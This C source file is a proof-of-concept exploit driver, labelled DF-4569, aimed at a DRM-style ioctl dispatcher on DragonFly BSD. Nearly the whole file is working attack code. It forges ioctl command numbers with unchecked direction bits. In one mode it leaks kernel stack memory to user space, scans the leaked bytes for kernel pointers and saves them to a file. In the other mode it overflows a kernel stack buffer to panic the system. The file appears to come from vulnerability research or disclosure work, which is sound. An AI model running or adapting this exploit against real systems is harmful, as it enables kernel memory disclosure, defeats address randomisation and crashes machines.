/*
 * df_primitive.c -- DF-4569 demonstration driver (user space).
 *
 * Usage:
 *   df_primitive leak  [size]     # VOID|OUT + nr 0x02 (GET_MAGIC replica):
 *                                 #   mapped_ioctl() copyouts `size' bytes
 *                                 #   from its 128-byte stack buffer to
 *                                 #   userland -> kernel stack disclosure.
 *   df_primitive smash [size]     # OUT + nr 0x06 (GET_STATS replica):
 *                                 #   handler memsets 248 bytes over the
 *                                 #   128-byte stack buffer -> kernel stack
 *                                 #   buffer overflow -> panic on return.
 *
 * Both commands encode the ioctl number by hand, exactly as the DRM
 * dispatch sees it: only the low byte selects the handler.
 *
 *   cmd = dir_bits | (size << 16) | ('d' << 8) | nr
 *
 * with dir bits per sys/sys/ioccom.h: IOC_OUT 0x40000000, IOC_IN
 * 0x80000000, IOC_VOID 0x20000000 (these are FREELY choosable by the
 * caller -- drm_ioctl() never validates them).
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <sys/ioctl.h>

#define IOC_VOID_DF	0x20000000UL
#define IOC_OUT_DF	0x40000000UL
#define IOC_IN_DF	0x80000000UL
#define GROUP_DF	'd'

static void
hexdump_n(const unsigned char *p, size_t n, size_t off)
{
	size_t i, j;

	for (i = 0; i < n; i += 16) {
		printf("%08zx: ", off + i);
		for (j = 0; j < 16; j++) {
			if (i + j < n)
				printf("%02x ", p[i + j]);
			else
				printf("   ");
		}
		printf(" |");
		for (j = 0; j < 16 && i + j < n; j++)
			printf("%c", (p[i + j] >= 32 && p[i + j] < 127) ?
			       p[i + j] : '.');
		printf("|\n");
	}
}

static int
looks_like_kernel_ptr(const unsigned char *p, size_t n)
{
	size_t i;
	unsigned long v;
	int hits = 0;

	for (i = 0; i + 8 <= n; i += 8) {
		memcpy(&v, p + i, 8);
		/* DFly x86_64 kernel addresses */
		if ((v >> 48) == 0xffff && v != 0xffffffffffffffff &&
		    (v & 0xfff) != 0x0)
			hits++;
	}
	return hits;
}

int
main(int argc, char **argv)
{
	const char *mode = argc > 1 ? argv[1] : "leak";
	size_t size = argc > 2 ? (size_t)strtoul(argv[2], NULL, 0) : 2048;
	unsigned long dir, cmd;
	unsigned char *buf;
	int fd, err;

	if (size == 0 || size > 8191) {
		fprintf(stderr, "size must be 1..8191 (IOCPARM_MAX)\n");
		return 2;
	}
	buf = calloc(1, size + 16);
	if (buf == NULL)
		return 2;

	fd = open("/dev/dfioctl", O_RDWR);
	if (fd < 0) {
		perror("open /dev/dfioctl");
		return 2;
	}

	if (strcmp(mode, "leak") == 0) {
		/* IOC_VOID|IOC_OUT: mapped_ioctl() stores the user pointer in
		 * its 128-byte stack buffer and later copyouts `size' bytes
		 * of kernel stack to userland.  Handler returns 0 (like
		 * drm_getmagic always does on success). */
		dir = IOC_VOID_DF | IOC_OUT_DF;
		cmd = dir | (size << 16) | (GROUP_DF << 8) | 0x02;
	} else if (strcmp(mode, "smash") == 0) {
		/* plain IOC_OUT, small size: data = the 128-byte stack buffer
		 * (bzero'd for `size' bytes); handler memsets 248 bytes. */
		dir = IOC_OUT_DF;
		cmd = dir | (size << 16) | (GROUP_DF << 8) | 0x06;
	} else {
		fprintf(stderr, "unknown mode %s\n", mode);
		return 2;
	}

	printf("mode=%s size=%zu cmd=0x%lx (nr=0x%02x)\n",
	       mode, size, cmd, (unsigned)(cmd & 0xff));

	err = ioctl(fd, cmd, buf);
	printf("ioctl returned %d", err);
	if (err != 0)
		printf(" (errno-based return; data before any fault is still copied)");
	printf("\n\n");

	if (strcmp(mode, "leak") == 0) {
		size_t show = size < 512 ? size : 512;

		printf("--- first %zu bytes received ---\n", show);
		hexdump_n(buf, show, 0);
		printf("--- kernel-pointer-looking qwords (0xffffxxxxxxxxxxxx): %d "
		       "in first %zu bytes, %d in all %zu ---\n",
		       looks_like_kernel_ptr(buf, show), show,
		       looks_like_kernel_ptr(buf, size), size);
		fflush(stdout);
		{
			/* leave a machine-greppable artifact */
			FILE *f = fopen("leak_bytes.bin", "w");
			if (f) {
				fwrite(buf, 1, size, f);
				fclose(f);
			}
		}
	} else {
		printf("smash issued; if the stack overflow fires, the kernel "
		       "panics on return from mapped_ioctl().\n");
		fflush(stdout);
	}
	close(fd);
	return 0;
}
